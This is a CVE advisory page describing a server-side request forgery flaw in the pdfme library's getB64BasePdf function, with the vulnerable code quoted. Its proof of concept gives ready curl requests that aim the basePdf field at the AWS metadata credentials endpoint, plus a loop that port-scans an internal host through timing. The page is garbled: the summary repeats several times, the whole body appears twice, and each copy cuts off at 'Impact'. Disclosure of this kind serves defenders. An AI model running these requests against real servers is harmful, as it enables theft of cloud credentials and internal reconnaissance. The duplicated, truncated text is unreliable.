CVE-2026-82866

@pdfme/common before 5.5.10 contains a server-side request forgery vulnerability in the getB64BasePdf function that fetches arbitrary URLs without validation when basePdf is attacker-controlled. Attackers who control the basePdf template field can force servers or clients to make requests to internal endpoints, enabling metadata exfiltration, network reconnaissance, and blind request forgery attacks.

@pdfme/common before 5.5.10 contains a server-side request forgery vulnerability in the getB64BasePdf function that fetches arbitrary URLs without validation when basePdf is attacker-controlled. Attackers who control the basePdf template field can force servers or clients to make requests to internal endpoints, enabling metadata exfiltration, network reconnaissance, and blind request forgery attacks.

@pdfme/common before 5.5.10 contains a server-side request forgery vulnerability in the getB64BasePdf function that fetches arbitrary URLs without validation when basePdf is attacker-controlled. Attackers who control the basePdf template field can force servers or clients to make requests to internal endpoints, enabling metadata exfiltration, network reconnaissance, and blind request forgery attacks.

Summary

The getB64BasePdf function in @pdfme/common fetches arbitrary URLs via fetch() without any validation when basePdf is a non-data-URI string and window is defined. An attacker who can control the basePdf field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.

Details

The vulnerability exists in packages/common/src/helper.ts:130-141. When getB64BasePdf receives a string that does not start with data:application/pdf;, and window is defined, it passes the string directly to fetch():

// packages/common/src/helper.ts:130-141
export const getB64BasePdf = async (
  customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
  if (
    typeof customPdf === 'string' &&
    !customPdf.startsWith('data:application/pdf;') &&
    typeof window !== 'undefined'
  ) {
    const response = await fetch(customPdf);  // <-- No URL validation
    const blob = await response.blob();
    return blob2Base64Pdf(blob);
  }
  // ...
};

The Zod schema for basePdf in packages/common/src/schema.ts:133-135 accepts any string:

export const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);
export const BasePdf = z.union([CustomPdf, BlankPdf]);

The checkGenerateProps function at packages/common/src/helper.ts:279 only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.

This function is called from multiple entry points:

• packages/generator/src/helper.ts:42 — during PDF generation
• packages/ui/src/hooks.ts:67 — during UI rendering
• packages/ui/src/helper.ts:292 — during template processing

The typeof window !== 'undefined' guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where window is polyfilled but fetch has full network access without CORS restrictions.

PoC

1. Setup a vulnerable application

// server.js — Next.js API route or Express handler using pdfme
import { generate } from '@pdfme/generator';

export async function POST(req) {
  const { template, inputs } = await req.json();
  // Application accepts user-provided templates
  const pdf = await generate({ template, inputs, plugins: {} });
  return new Response(pdf);
}

2. Probe internal services via SSRF

# Attacker sends a template with basePdf pointing to an internal service
curl -X POST http://target-app.com/api/generate-pdf \
  -H 'Content-Type: application/json' \
  -d '{
    "template": {
      "basePdf": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
      "schemas": [[]]
    },
    "inputs": [{}]
  }'

3. Port scanning internal network

# Scan internal hosts by observing response timing differences
for port in 80 443 3306 5432 6379 8080; do
  curl -s -o /dev/null -w "%{time_total}" -X POST http://target-app.com/api/generate-pdf \
    -H 'Content-Type: application/json' \
    -d "{
      \"template\": {
        \"basePdf\": \"http://10.0.0.1:${port}/\",
        \"schemas\": [[]]
      },
      \"inputs\": [{}]
    }"
  echo " - port $port"
done

4. Exfiltrate cloud metadata (AWS example)

# In SSR context, fetch reads the full response body and converts to base64
curl -X POST http://target-app.com/api/generate-pdf \
  -H 'Content-Type: application/json' \
  -d '{
    "template": {
      "basePdf": "http://169.254.169.254/latest/meta-data/",
      "schemas": [[]]
    },
    "inputs": [{}]
  }'
# The fetch will succeed; the response will fail PDF parsing,
# but error messages or timing differences leak information

Impact

• Cloud metadata exfiltration: In SSR deployments on…

@pdfme/common before 5.5.10 contains a server-side request forgery vulnerability in the getB64BasePdf function that fetches arbitrary URLs without validation when basePdf is attacker-controlled. Attackers who control the basePdf template field can force servers or clients to make requests to internal endpoints, enabling metadata exfiltration, network reconnaissance, and blind request forgery attacks.

@pdfme/common before 5.5.10 contains a server-side request forgery vulnerability in the getB64BasePdf function that fetches arbitrary URLs without validation when basePdf is attacker-controlled. Attackers who control the basePdf template field can force servers or clients to make requests to internal endpoints, enabling metadata exfiltration, network reconnaissance, and blind request forgery attacks.

Summary

The getB64BasePdf function in @pdfme/common fetches arbitrary URLs via fetch() without any validation when basePdf is a non-data-URI string and window is defined. An attacker who can control the basePdf field of a template (e.g., through a web application that accepts user-supplied templates) can force the server or client to make requests to arbitrary internal or external endpoints, enabling Server-Side Request Forgery (SSRF) in SSR contexts or blind request forgery in browser contexts.

Details

The vulnerability exists in packages/common/src/helper.ts:130-141. When getB64BasePdf receives a string that does not start with data:application/pdf;, and window is defined, it passes the string directly to fetch():

// packages/common/src/helper.ts:130-141
export const getB64BasePdf = async (
  customPdf: ArrayBuffer | Uint8Array | string,
): Promise<string> => {
  if (
    typeof customPdf === 'string' &&
    !customPdf.startsWith('data:application/pdf;') &&
    typeof window !== 'undefined'
  ) {
    const response = await fetch(customPdf);  // <-- No URL validation
    const blob = await response.blob();
    return blob2Base64Pdf(blob);
  }
  // ...
};

The Zod schema for basePdf in packages/common/src/schema.ts:133-135 accepts any string:

export const CustomPdf = z.union([z.string(), ArrayBufferSchema, Uint8ArraySchema]);
export const BasePdf = z.union([CustomPdf, BlankPdf]);

The checkGenerateProps function at packages/common/src/helper.ts:279 only validates the Zod schema shape, which permits any string value. No URL allowlist, protocol restriction, or private IP filtering exists anywhere in the pipeline.

This function is called from multiple entry points:

• packages/generator/src/helper.ts:42 — during PDF generation
• packages/ui/src/hooks.ts:67 — during UI rendering
• packages/ui/src/helper.ts:292 — during template processing

The typeof window !== 'undefined' guard is commonly satisfied in SSR environments (Next.js, Nuxt with jsdom, Cloudflare Workers) where window is polyfilled but fetch has full network access without CORS restrictions.

PoC

1. Setup a vulnerable application

// server.js — Next.js API route or Express handler using pdfme
import { generate } from '@pdfme/generator';

export async function POST(req) {
  const { template, inputs } = await req.json();
  // Application accepts user-provided templates
  const pdf = await generate({ template, inputs, plugins: {} });
  return new Response(pdf);
}

2. Probe internal services via SSRF

# Attacker sends a template with basePdf pointing to an internal service
curl -X POST http://target-app.com/api/generate-pdf \
  -H 'Content-Type: application/json' \
  -d '{
    "template": {
      "basePdf": "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
      "schemas": [[]]
    },
    "inputs": [{}]
  }'

3. Port scanning internal network

# Scan internal hosts by observing response timing differences
for port in 80 443 3306 5432 6379 8080; do
  curl -s -o /dev/null -w "%{time_total}" -X POST http://target-app.com/api/generate-pdf \
    -H 'Content-Type: application/json' \
    -d "{
      \"template\": {
        \"basePdf\": \"http://10.0.0.1:${port}/\",
        \"schemas\": [[]]
      },
      \"inputs\": [{}]
    }"
  echo " - port $port"
done

4. Exfiltrate cloud metadata (AWS example)

# In SSR context, fetch reads the full response body and converts to base64
curl -X POST http://target-app.com/api/generate-pdf \
  -H 'Content-Type: application/json' \
  -d '{
    "template": {
      "basePdf": "http://169.254.169.254/latest/meta-data/",
      "schemas": [[]]
    },
    "inputs": [{}]
  }'
# The fetch will succeed; the response will fail PDF parsing,
# but error messages or timing differences leak information

Impact

• Cloud metadata exfiltration: In SSR deployments on…